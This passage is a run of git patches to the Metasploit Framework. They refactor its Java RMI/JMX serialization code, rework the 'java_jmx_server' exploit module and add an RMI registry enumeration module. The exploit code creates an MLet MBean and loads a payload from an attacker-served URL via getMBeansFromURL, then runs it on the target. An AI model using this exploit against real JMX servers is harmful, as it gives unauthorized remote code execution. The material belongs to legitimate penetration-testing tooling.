Rex::Java::Serialization::Model::BlockData.new( - nil, - "#{obj_id}\x00\x00\x00\x02\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf" + call = build_call( + object_number: 0, + uid_number: 0, + uid_time: 0, + uid_count: 0, + operation: 2, # java.rmi.Remote lookup(java.lang.String) + hash: 0x44154dc9d4e63bdf, #ReferenceRegistryStub + arguments: [Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi')] ) - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'jmxrmi') - - stream + call end end end diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb index 36453849b2..95666766e1 100644 --- a/lib/msf/java/jmx/handshake.rb +++ b/lib/msf/java/jmx/handshake.rb @@ -11,7 +11,33 @@ module Msf # # @param id [String] The endpoint UnicastRef ObjId # @return [Rex::Java::Serialization::Model::Stream] - def handshake_stream(obj_id) + def handshake_stream(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + arguments = [] + if jmx_role + username = jmx_role + password = jmx_password || '' + arguments << auth_array_stream(username, password) + else + arguments << Rex::Java::Serialization::Model::NullReference.new + end + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: -1089742558549201240, + arguments: arguments + ) + + call +=begin block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") stream = Rex::Java::Serialization::Model::Stream.new @@ -27,6 +53,7 @@ module Msf end stream +=end end # Builds a Rex::Java::Serialization::Model::NewArray with credentials diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb index 33622546f9..db05447c65 100644 --- a/lib/msf/java/jmx/mbean/server_connection.rb +++ b/lib/msf/java/jmx/mbean/server_connection.rb @@ -17,6 +17,7 @@ module Msf # @option opts [String] :name the name of the MBean # @return [Rex::Java::Serialization::Model::Stream] def create_mbean_stream(opts = {}) +=begin obj_id = opts[:obj_id] || "\x00" * 22 name = opts[:name] || '' block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") @@ -28,6 +29,30 @@ module Msf stream.contents << Rex::Java::Serialization::Model::NullReference.new stream +=end + name = opts[:name] || '' + object_number = opts['object_number'] || 0 + uid_number = opts['uid_number'] || 0 + uid_time = opts['uid_time'] || 0 + uid_count = opts['uid_count'] || 0 + + arguments = [ + Rex::Java::Serialization::Model::Utf.new(nil, name), + Rex::Java::Serialization::Model::NullReference.new, + Rex::Java::Serialization::Model::NullReference.new + ] + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: 2510753813974665446, + arguments: arguments + ) + + call end # Builds a Rex::Java::Serialization::Model::Stream to simulate a call to the @@ -38,6 +63,7 @@ module Msf # @option opts [String] :name the name of the MBean # @return [Rex::Java::Serialization::Model::Stream] def get_object_instance_stream(opts = {}) +=begin obj_id = opts[:obj_id] || "\x00" * 22 name = opts[:name] || '' @@ -59,6 +85,38 @@ module Msf stream.contents << Rex::Java::Serialization::Model::NullReference.new stream +=end + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + name = opts[:name] || '' + builder = Rex::Java::Serialization::Builder.new + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + arguments = [ + new_object, + Rex::Java::Serialization::Model::Utf.new(nil, name), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::NullReference.new + ] + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: 6950095694996159938, + arguments: arguments + ) + + call end # Builds a Rex::Java::Serialization::Model::Stream to simulate a call @@ -71,6 +129,7 @@ module Msf # @option opts [String] :args the arguments of the method to invoke # @return [Rex::Java::Serialization::Model::Stream] def invoke_stream(opts = {}) +=begin obj_id = opts[:obj_id] || "\x00" * 22 object_name = opts[:object] || '' method_name = opts[:method] || '' @@ -125,6 +184,73 @@ module Msf stream.contents << Rex::Java::Serialization::Model::NullReference.new stream +=end + + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + object_name = opts[:object] || '' + method_name = opts[:method] || '' + args = opts[:args] || {} + builder = Rex::Java::Serialization::Builder.new + + new_object = builder.new_object( + name: 'javax.management.ObjectName', + serial: 0xf03a71beb6d15cf, # serialVersionUID + flags: 3 + ) + + data_binary = builder.new_array( + name: '[B', + serial: 0xacf317f8060854e0, # serialVersionUID + values_type: 'byte', + values: invoke_arguments_stream(args).encode.unpack('C*') + ) + + marshall_object = builder.new_object( + name: 'java.rmi.MarshalledObject', + serial: 0x7cbd1e97ed63fc3e, # serialVersionUID + fields: [ + ['int', 'hash'], + ['array', 'locBytes', '[B'], + ['array', 'objBytes', '[B'] + ], + data: [ + ["int", 1919492550], + Rex::Java::Serialization::Model::NullReference.new, + data_binary + ] + ) + + new_array = builder.new_array( + name: '[Ljava.lang.String;', + serial: 0xadd256e7e91d7b47, # serialVersionUID + values_type: 'java.lang.String;', + values: args.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } + ) + + arguments = [ + new_object, + Rex::Java::Serialization::Model::Utf.new(nil, object_name), + Rex::Java::Serialization::Model::EndBlockData.new, + Rex::Java::Serialization::Model::Utf.new(nil, method_name), + marshall_object, + new_array, + Rex::Java::Serialization::Model::NullReference.new + ] + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: -1, + hash: 1434350937885235744, + arguments: arguments + ) + + call end # Builds a Rex::Java::Serialization::Model::Stream with the arguments to diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb index 6bac21c0a1..5d76e19f42 100644 --- a/lib/msf/java/jmx/util.rb +++ b/lib/msf/java/jmx/util.rb @@ -13,14 +13,14 @@ module Msf # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from # @param id [Fixnum] the content position storing the object # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise - def extract_object(stream, id) - new_object = nil + def extract_object(new_object)#stream, id) + #new_object = nil - if stream.contents[id] - new_object = stream.contents[id] - else - return nil - end + #if stream.contents[id] + #new_object = stream.contents[id] + #else + #return nil + #end unless new_object.class == Rex::Java::Serialization::Model::NewObject return nil @@ -62,6 +62,20 @@ module Msf int end + # Extracts a long from an IO + # + # @param io [IO] the io to extract the long from + # @return [Fixnum, nil] the extracted int if success, nil otherwise + def extract_long(io) + int_raw = io.read(8) + unless int_raw && int_raw.length == 8 + return nil + end + int = int_raw.unpack('q>')[0] + + int + end + # Extracts an UnicastRef (endpoint) information from an IO # # @param io [IO] the io to extract the int from @@ -78,9 +92,10 @@ module Msf port = extract_int(io) return nil unless port - id = io.read + object_number = extract_long(io) + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) - { address: address, port: port, id: id } + { address: address, port: port, object_number: object_number, uid: uid } end end diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index c05b4d6bc6..5b96b7d673 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -52,12 +52,13 @@ module Msf # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock + # @option opts [Rex::Proto::Rmi::Model::Call] :call # @return [Fixnum] the number of bytes sent # @see Msf::Rmi::Client::Streams#build_call def send_call(opts = {}) nsock = opts[:sock] || sock - stream = build_call(opts) - nsock.put(stream.encode) + call = opts[:call] || build_call(opts) + nsock.put(call.encode) end # Sends a RMI DGCACK stream @@ -76,7 +77,8 @@ module Msf # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Proto::Rmi::Model::ProtocolAck] + # @return [Rex::Proto::Rmi::Model::ProtocolAck] if success + # @return [NilClass] otherwise # @see Rex::Proto::Rmi::Model::ProtocolAck.decode def recv_protocol_ack(opts = {}) nsock = opts[:sock] || sock @@ -95,7 +97,8 @@ module Msf # # @param opts [Hash] # @option opts [Rex::Socket::Tcp] :sock - # @return [Rex::Java::Serialization::Stream] + # @return [Rex::Proto::Rmi::Model::ReturnValue] if success + # @return [NilClass] otherwise # @see Rex::Proto::Rmi::Model::ReturnData.decode def recv_return(opts = {}) nsock = opts[:sock] || sock diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index b7f190b2f8..3e73d6b6f4 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -156,11 +156,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Executing payload...") invoke_run_stream = invoke_stream( - obj_id: jmx_endpoint[:id].chop, + object_number: jmx_endpoint[:object_number], + uid_number: jmx_endpoint[:uid].number, + uid_time: jmx_endpoint[:uid].time, + uid_count: jmx_endpoint[:uid].count, object: "#{@mlet}:name=jmxpayload,id=1", method: 'run' ) - send_call(call_data: invoke_run_stream) + send_call(call: invoke_run_stream) disconnect end @@ -176,15 +179,21 @@ class Metasploit3 < Msf::Exploit::Remote end def discover_endpoint - send_call(call_data: discovery_stream) - return_data = recv_return + send_call(call: discovery_stream) + return_value = recv_return - if return_data.nil? + if return_value.nil? vprint_error("#{peer} - Discovery request didn't answer") return nil end - answer = extract_object(return_data, 1) + if return_value.is_exception? + vprint_error("#{peer} - Discovery request returned an exception") + return nil + end + + #answer = extract_object(return_value, 1) + answer = extract_object(return_value.value[0]) if answer.nil? vprint_error("#{peer} - Unexpected JMXRMI discovery answer") @@ -193,27 +202,36 @@ class Metasploit3 < Msf::Exploit::Remote case answer when 'javax.management.remote.rmi.RMIServerImpl_Stub' - mbean_server = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + #mbean_server = extract_unicast_ref(StringIO.new(return_value.contents[2].contents)) + mbean_server = extract_unicast_ref(StringIO.new(return_value.value[1].contents)) else vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}") return nil end + print_status("#{mbean_server.inspect}") + mbean_server end def handshake(mbean) vprint_status("#{peer} - Sending handshake / authentication...") - send_call(call_data: handshake_stream(mbean[:id].chop)) - return_data = recv_return + send_call(call: handshake_stream( + object_number: mbean[:object_number], + uid_number: mbean[:uid].number, + uid_time: mbean[:uid].time, + uid_count: mbean[:uid].count + ) + ) + return_value = recv_return - if return_data.nil? + if return_value.nil? vprint_error("#{peer} - Failed to send handshake") return nil end - answer = extract_object(return_data, 1) + answer = extract_object(return_value.value[0]) if answer.nil? vprint_error("#{peer} - Unexpected handshake answer") @@ -226,27 +244,35 @@ class Metasploit3 < Msf::Exploit::Remote return nil when 'javax.management.remote.rmi.RMIConnectionImpl_Stub' vprint_good("#{peer} - Handshake completed, proceeding...") - conn_stub = extract_unicast_ref(StringIO.new(return_data.contents[2].contents)) + conn_stub = extract_unicast_ref(StringIO.new(return_value.value[1].contents)) else vprint_error("#{peer} - Handshake returned unexpected object #{answer}") return nil end + print_status("#{conn_stub.inspect}") + conn_stub end def load_payload(conn_stub) vprint_status("#{peer} - Getting JMXPayload instance...") - get_payload_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: "#{@mlet}:name=jmxpayload,id=1") - send_call(call_data: get_payload_instance) - return_data = recv_return + get_payload_instance = get_object_instance_stream( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: "#{@mlet}:name=jmxpayload,id=1" + ) + send_call(call: get_payload_instance) + return_value = recv_return - if return_data.nil? + if return_value.nil? vprint_error("#{peer} - The request to getObjectInstance failed") return false end - answer = extract_object(return_data, 1) + answer = extract_object(return_value.value[0]) if answer.nil? vprint_error("#{peer} - Unexpected getObjectInstance answer") @@ -271,16 +297,22 @@ class Metasploit3 < Msf::Exploit::Remote start_service vprint_status("#{peer} - Creating javax.management.loading.MLet MBean...") - create_mbean = create_mbean_stream(obj_id: conn_stub[:id].chop, name: 'javax.management.loading.MLet') - send_call(call_data: create_mbean) - return_data = recv_return + create_mbean = create_mbean_stream( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: 'javax.management.loading.MLet' + ) + send_call(call: create_mbean) + return_value = recv_return - if return_data.nil? + if return_value.nil? vprint_error("#{peer} - The request to createMBean failed") return false end - answer = extract_object(return_data, 1) + answer = extract_object(return_value.value[0]) if answer.nil? vprint_error("#{peer} - Unexpected createMBean answer") @@ -301,16 +333,22 @@ class Metasploit3 < Msf::Exploit::Remote end vprint_status("#{peer} - Getting javax.management.loading.MLet instance...") - get_mlet_instance = get_object_instance_stream(obj_id: conn_stub[:id].chop , name: 'DefaultDomain:type=MLet') - send_call(call_data: get_mlet_instance) - return_data = recv_return + get_mlet_instance = get_object_instance_stream( + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, + name: 'DefaultDomain:type=MLet' + ) + send_call(call: get_mlet_instance) + return_value = recv_return - if return_data.nil? + if return_value.nil? vprint_error("#{peer} - The request to getObjectInstance failed") return false end - answer = extract_object(return_data, 1) + answer = extract_object(return_value.value[0]) if answer.nil? vprint_error("#{peer} - Unexpected getObjectInstance answer") @@ -330,23 +368,26 @@ class Metasploit3 < Msf::Exploit::Remote vprint_status("#{peer} - Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...") invoke_mlet_get_mbean_from_url = invoke_stream( - obj_id: conn_stub[:id].chop, + object_number: conn_stub[:object_number], + uid_number: conn_stub[:uid].number, + uid_time: conn_stub[:uid].time, + uid_count: conn_stub[:uid].count, object: 'DefaultDomain:type=MLet', method: 'getMBeansFromURL', args: { 'java.lang.String' => "#{get_uri}/mlet" } ) - send_call(call_data: invoke_mlet_get_mbean_from_url) - return_data = recv_return + send_call(call: invoke_mlet_get_mbean_from_url) + return_value = recv_return vprint_status("Stopping service...") stop_service - if return_data.nil? + if return_value.nil? vprint_error("#{peer} - The call to getMBeansFromURL failed") return false end - answer = extract_object(return_data, 3) + answer = extract_object(return_value.value[2]) if answer.nil? vprint_error("#{peer} - Unexpected getMBeansFromURL answer") From c3dd4035efb7160851facecc9b2f07abed1236b7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 18 Mar 2015 15:48:07 -0500 Subject: [PATCH 15/58] Make jmx module work again --- lib/msf/java/jmx/handshake.rb | 17 ---- lib/msf/java/jmx/mbean/server_connection.rb | 101 +------------------- 2 files changed, 4 insertions(+), 114 deletions(-) diff --git a/lib/msf/java/jmx/handshake.rb b/lib/msf/java/jmx/handshake.rb index 95666766e1..022b64328c 100644 --- a/lib/msf/java/jmx/handshake.rb +++ b/lib/msf/java/jmx/handshake.rb @@ -37,23 +37,6 @@ module Msf ) call -=begin - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8") - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - - if jmx_role - username = jmx_role - password = jmx_password || '' - - stream.contents << auth_array_stream(username, password) - else - stream.contents << Rex::Java::Serialization::Model::NullReference.new - end - - stream -=end end # Builds a Rex::Java::Serialization::Model::NewArray with credentials diff --git a/lib/msf/java/jmx/mbean/server_connection.rb b/lib/msf/java/jmx/mbean/server_connection.rb index db05447c65..a2b6052780 100644 --- a/lib/msf/java/jmx/mbean/server_connection.rb +++ b/lib/msf/java/jmx/mbean/server_connection.rb @@ -17,24 +17,11 @@ module Msf # @option opts [String] :name the name of the MBean # @return [Rex::Java::Serialization::Model::Stream] def create_mbean_stream(opts = {}) -=begin - obj_id = opts[:obj_id] || "\x00" * 22 name = opts[:name] || '' - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6") - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) - stream.contents << Rex::Java::Serialization::Model::NullReference.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream -=end - name = opts[:name] || '' - object_number = opts['object_number'] || 0 - uid_number = opts['uid_number'] || 0 - uid_time = opts['uid_time'] || 0 - uid_count = opts['uid_count'] || 0 + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 arguments = [ Rex::Java::Serialization::Model::Utf.new(nil, name), @@ -63,29 +50,6 @@ module Msf # @option opts [String] :name the name of the MBean # @return [Rex::Java::Serialization::Model::Stream] def get_object_instance_stream(opts = {}) -=begin - obj_id = opts[:obj_id] || "\x00" * 22 - name = opts[:name] || '' - - builder = Rex::Java::Serialization::Builder.new - - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2") - - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID - flags: 3 - ) - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream -=end object_number = opts[:object_number] || 0 uid_number = opts[:uid_number] || 0 uid_time = opts[:uid_time] || 0 @@ -129,63 +93,6 @@ module Msf # @option opts [String] :args the arguments of the method to invoke # @return [Rex::Java::Serialization::Model::Stream] def invoke_stream(opts = {}) -=begin - obj_id = opts[:obj_id] || "\x00" * 22 - object_name = opts[:object] || '' - method_name = opts[:method] || '' - arguments = opts[:args] || {} - builder = Rex::Java::Serialization::Builder.new - - block_data = Rex::Java::Serialization::Model::BlockData.new(nil, "#{obj_id}\xff\xff\xff\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20") - - new_object = builder.new_object( - name: 'javax.management.ObjectName', - serial: 0xf03a71beb6d15cf, # serialVersionUID - flags: 3 - ) - - data_binary = builder.new_array( - name: '[B', - serial: 0xacf317f8060854e0, # serialVersionUID - values_type: 'byte', - values: invoke_arguments_stream(arguments).encode.unpack('C*') - ) - - marshall_object = builder.new_object( - name: 'java.rmi.MarshalledObject', - serial: 0x7cbd1e97ed63fc3e, # serialVersionUID - fields: [ - ['int', 'hash'], - ['array', 'locBytes', '[B'], - ['array', 'objBytes', '[B'] - ], - data: [ - ["int", 1919492550], - Rex::Java::Serialization::Model::NullReference.new, - data_binary - ] - ) - - new_array = builder.new_array( - name: '[Ljava.lang.String;', - serial: 0xadd256e7e91d7b47, # serialVersionUID - values_type: 'java.lang.String;', - values: arguments.keys.collect { |k| Rex::Java::Serialization::Model::Utf.new(nil, k) } - ) - - stream = Rex::Java::Serialization::Model::Stream.new - stream.contents << block_data - stream.contents << new_object - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, object_name) - stream.contents << Rex::Java::Serialization::Model::EndBlockData.new - stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, method_name) - stream.contents << marshall_object - stream.contents << new_array - stream.contents << Rex::Java::Serialization::Model::NullReference.new - - stream -=end - object_number = opts[:object_number] || 0 uid_number = opts[:uid_number] || 0 uid_time = opts[:uid_time] || 0 From 9628415ca2b5f72813cd4de842e65bd1ccb44dcd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 18 Mar 2015 15:53:50 -0500 Subject: [PATCH 16/58] Delete more comments --- lib/msf/java/jmx/util.rb | 9 +-------- 1 file changed, 1 insertion(+), 8 deletions(-) diff --git a/lib/msf/java/jmx/util.rb b/lib/msf/java/jmx/util.rb index 5d76e19f42..624f131cc4 100644 --- a/lib/msf/java/jmx/util.rb +++ b/lib/msf/java/jmx/util.rb @@ -13,14 +13,7 @@ module Msf # @param stream [Rex::Java::Serialization::Model::Stream] the stream to extract the object from # @param id [Fixnum] the content position storing the object # @return [Rex::Java::Serialization::Model::NewObject, nil] the extracted object if success, nil otherwise - def extract_object(new_object)#stream, id) - #new_object = nil - - #if stream.contents[id] - #new_object = stream.contents[id] - #else - #return nil - #end + def extract_object(new_object) unless new_object.class == Rex::Java::Serialization::Model::NewObject return nil From ae84c8ee30f2df6f784afa9304930dfaecfd9e7c Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 18 Mar 2015 15:55:52 -0500 Subject: [PATCH 17/58] Delete even more comments --- modules/exploits/multi/misc/java_jmx_server.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 3e73d6b6f4..49f831e91b 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -192,7 +192,6 @@ class Metasploit3 < Msf::Exploit::Remote return nil end - #answer = extract_object(return_value, 1) answer = extract_object(return_value.value[0]) if answer.nil? @@ -202,7 +201,6 @@ class Metasploit3 < Msf::Exploit::Remote case answer when 'javax.management.remote.rmi.RMIServerImpl_Stub' - #mbean_server = extract_unicast_ref(StringIO.new(return_value.contents[2].contents)) mbean_server = extract_unicast_ref(StringIO.new(return_value.value[1].contents)) else vprint_error("#{peer} - JMXRMI discovery returned unexpected object #{answer}") From 5c3134a6161e0de67fd134bf52af60ff499485c7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 19 Mar 2015 11:16:04 -0500 Subject: [PATCH 18/58] Add first support to gather information from RMI registries --- lib/msf/java/rmi/client.rb | 4 +- lib/msf/java/rmi/client/registry.rb | 47 +++++++++++++ lib/msf/java/rmi/client/registry/builder.rb | 52 ++++++++++++++ lib/msf/java/rmi/client/registry/parser.rb | 41 ++++++++++++ lib/rex/proto/rmi/model/return_value.rb | 12 ++++ modules/auxiliary/gather/java_rmi_registry.rb | 67 +++++++++++++++++++ 6 files changed, 222 insertions(+), 1 deletion(-) create mode 100644 lib/msf/java/rmi/client/registry.rb create mode 100644 lib/msf/java/rmi/client/registry/builder.rb create mode 100644 lib/msf/java/rmi/client/registry/parser.rb create mode 100644 modules/auxiliary/gather/java_rmi_registry.rb diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index 5b96b7d673..8445d8d635 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -10,9 +10,11 @@ module Msf require 'msf/java/rmi/util' require 'msf/java/rmi/builder' + require 'msf/java/rmi/client/registry' include Msf::Java::Rmi::Util include Msf::Java::Rmi::Builder + include Msf::Java::Rmi::Client::Registry include Exploit::Remote::Tcp # Returns the target host @@ -105,7 +107,7 @@ module Msf data = safe_get_once(nsock) begin return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) - rescue ::RuntimeError + rescue ::RuntimeError => e return nil end diff --git a/lib/msf/java/rmi/client/registry.rb b/lib/msf/java/rmi/client/registry.rb new file mode 100644 index 0000000000..2e0a9e2e14 --- /dev/null +++ b/lib/msf/java/rmi/client/registry.rb @@ -0,0 +1,47 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Registry + require 'msf/java/rmi/client/registry/builder' + require 'msf/java/rmi/client/registry/parser' + + include Msf::Java::Rmi::Client::Registry::Builder + include Msf::Java::Rmi::Client::Registry::Parser + + def send_registry_lookup(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_registry_lookup(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + remote_stub = parse_registry_lookup(return_value) + + remote_stub + end + + def send_registry_list(opts = {}) + send_call( + sock: opts[:sock] || sock, + call: build_registry_list(opts) + ) + + return_value = recv_return( + sock: opts[:sock] || sock + ) + + names = parse_registry_list(return_value) + + names + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/registry/builder.rb b/lib/msf/java/rmi/client/registry/builder.rb new file mode 100644 index 0000000000..3838348dfe --- /dev/null +++ b/lib/msf/java/rmi/client/registry/builder.rb @@ -0,0 +1,52 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Registry + module Builder + def build_registry_lookup(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + name = opts[:name] || '' + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: 2, # java.rmi.Remote lookup(java.lang.String) + hash: 0x44154dc9d4e63bdf, # RegistryImpl_Stub + arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)] + ) + + call + end + + def build_registry_list(opts = {}) + object_number = opts[:object_number] || 0 + uid_number = opts[:uid_number] || 0 + uid_time = opts[:uid_time] || 0 + uid_count = opts[:uid_count] || 0 + + call = build_call( + object_number: object_number, + uid_number: uid_number, + uid_time: uid_time, + uid_count: uid_count, + operation: 1, # java.lang.String list()[] + hash: 0x44154dc9d4e63bdf, # RegistryImpl_Stub + arguments: [] + ) + + call + end + end + end + end + end + end +end diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb new file mode 100644 index 0000000000..3b63bf428e --- /dev/null +++ b/lib/msf/java/rmi/client/registry/parser.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +module Msf + module Java + module Rmi + module Client + module Registry + module Parser + def parse_registry_lookup(return_value) + if return_value.nil? || return_value.is_exception? + return nil + end + + unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewObject) + return nil + end + + return_value.value[0].class_desc.description.class_name.contents + end + + def parse_registry_list(return_value) + if return_value.nil? || return_value.is_exception? + return nil + end + + unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray) + return nil + end + + unless return_value.value[0].type == 'java.lang.String;' + return nil + end + + return_value.value[0].values.collect { |val| val.contents } + end + end + end + end + end + end +end diff --git a/lib/rex/proto/rmi/model/return_value.rb b/lib/rex/proto/rmi/model/return_value.rb index 72dc37ee1c..dfdb003425 100644 --- a/lib/rex/proto/rmi/model/return_value.rb +++ b/lib/rex/proto/rmi/model/return_value.rb @@ -60,6 +60,18 @@ module Rex code == RETURN_EXCEPTION end + # The object returned in the returned value + # + # @return [String] the object class is the returned value is an object indeed + # @return [NilClass] otherwise + def object_name + unless value[0] && value[0].class == Rex::Java::Serialization::Model::NewObject + return nil + end + + value[0].class_desc.description.class_name.contents + end + private # Reads the return code from the IO diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb new file mode 100644 index 0000000000..6aa91130b7 --- /dev/null +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -0,0 +1,67 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex/java/serialization' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Java::Rmi::Client + + def initialize + super( + 'Name' => 'Java RMI Registry Endpoint Information Gathering', + 'Description' => 'Information gathering from Java RMI Registry endpoints', + 'Author' => ['juan vazquez'], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmiTOC.html'] + ], + 'DisclosureDate' => 'Mar 18 2015' + ) + + register_options( + [ + Opt::RPORT(1099) + ], self.class) + end + + def run + print_status("#{peer} - Sending RMI Header...") + connect + + send_header + ack = recv_protocol_ack + if ack.nil? + print_error("#{peer} - Filed to negotiate RMI protocol") + disconnect + return + end + + print_status("#{peer} - Listing names in the Registry...") + names = send_registry_list + + if names.nil? + print_error("#{peer} - Failed to list names") + return + end + + if names.empty? + print_error("#{peer} - Names not found in the Registry") + return + end + + print_good("#{peer} - #{names.length} names found in the Registry") + + names.each do |name| + object = send_registry_lookup(name: name) + next if object.nil? + print_good("#{peer} - name: #{name} remote object: #{object}") + #report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "#{name} / #{object}") + end + end +end From ec90594f7e7f84959b0d29b9404445616ebc5eb3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 19 Mar 2015 15:41:24 -0500 Subject: [PATCH 19/58] Add support for Rex::Java::Serialization::ProxyClassDesc --- lib/rex/java/serialization/model.rb | 1 + .../java/serialization/model/class_desc.rb | 4 +- lib/rex/java/serialization/model/contents.rb | 6 +- .../serialization/model/new_class_desc.rb | 11 +- .../java/serialization/model/new_object.rb | 2 + .../serialization/model/proxy_class_desc.rb | 109 +++++++++++++++++ .../model/proxy_class_desc_spec.rb | 115 ++++++++++++++++++ 7 files changed, 239 insertions(+), 9 deletions(-) create mode 100644 lib/rex/java/serialization/model/proxy_class_desc.rb create mode 100644 spec/lib/rex/java/serialization/model/proxy_class_desc_spec.rb diff --git a/lib/rex/java/serialization/model.rb b/lib/rex/java/serialization/model.rb index f885a35ae9..a5587660fd 100644 --- a/lib/rex/java/serialization/model.rb +++ b/lib/rex/java/serialization/model.rb @@ -15,6 